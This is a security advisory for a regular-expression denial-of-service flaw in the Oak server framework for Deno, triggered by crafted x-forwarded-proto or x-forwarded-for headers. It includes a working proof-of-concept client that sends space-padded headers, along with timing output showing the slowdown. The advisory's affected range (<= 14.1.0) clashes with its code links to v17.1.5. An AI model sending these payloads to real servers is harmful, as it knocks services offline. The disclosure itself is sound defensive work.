GHSA-r3v7-pc4g-7xp9 Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers

• npm @oakserver/oak: <= 14.1.0 (no fix yet)

Summary With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server. Vulnerable Code • https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87 • https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142 PoC • setup ``` deno --version deno 2.4.3 v8 13.7.152.14-rusty typescript 5.8.3 ``` • `server.ts` ```ts import { Application } from "https://deno.land/x/oak/mod.ts"; const app = new Application({proxy: true}); let i = 1 app.use((ctx) => { // let url = ctx.request.url // test1) x-forwarded-proto let ips = ctx.request.ips // test2) x-forwarded-for console.log(`request ${i} received`) i++; ctx.response.body = "hello"; }); await app.listen({ port: 8080 }); ``` • `client.ts` ```ts const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000] const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A'); const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A'); async function run(data) { for (let i = 0; i < data.length; i++) { let d = data[i]; const start = performance.now(); await fetch("http://localhost:8080", { headers: { // "x-forwarded-proto": d, // test1) "x-forwarded-for": d, // test2) }, }); const end = performance.now(); console.log('length=%d, time=%d ms', d.length, end - start); } } console.log("\n[+] Test normal behavior") await run(data1) console.log("\n[+] Test payloads") await run(data2) ``` • run ``` deno run --allow-net server.ts deno run --allow-net client.ts [+] Test normal behavior length=2002, time=14 ms length=4002, time=6 ms length=8002, time=3 ms length=16002, time=3 ms length=32002, time=2 ms length=64002, time=4 ms length=128002, time=3 ms [+] Test payloads length=2002, time=7 ms length=4002, time=22 ms length=8002, time=77 ms length=16002, time=241 ms length=32002, time=947 ms length=64002, time=4020 ms length=128002, time=15840 ms ``` Impact A specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers  can be used to significantly slow down an oak server. Similar Issues • https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6 • https://github.com/denoland/deno/pull/17722 • https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693 • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff